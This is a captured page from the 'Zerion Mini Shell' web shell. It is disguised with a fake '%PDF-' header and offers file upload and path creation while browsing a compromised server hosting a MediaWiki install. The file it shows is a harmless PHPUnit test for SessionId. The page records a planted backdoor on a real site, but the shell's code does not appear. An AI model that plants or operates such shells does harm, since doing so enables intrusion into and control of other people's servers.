%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/session/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/session/SessionIdTest.php

<?php

namespace MediaWiki\Session;

use MediaWikiTestCase;

/**
 * @group Session
 * @covers MediaWiki\Session\SessionId
 */
class SessionIdTest extends MediaWikiTestCase {

	public function testEverything() {
		$id = new SessionId( 'foo' );
		$this->assertSame( 'foo', $id->getId() );
		$this->assertSame( 'foo', (string)$id );
		$id->setId( 'bar' );
		$this->assertSame( 'bar', $id->getId() );
		$this->assertSame( 'bar', (string)$id );
	}

}

Zerion Mini Shell 1.0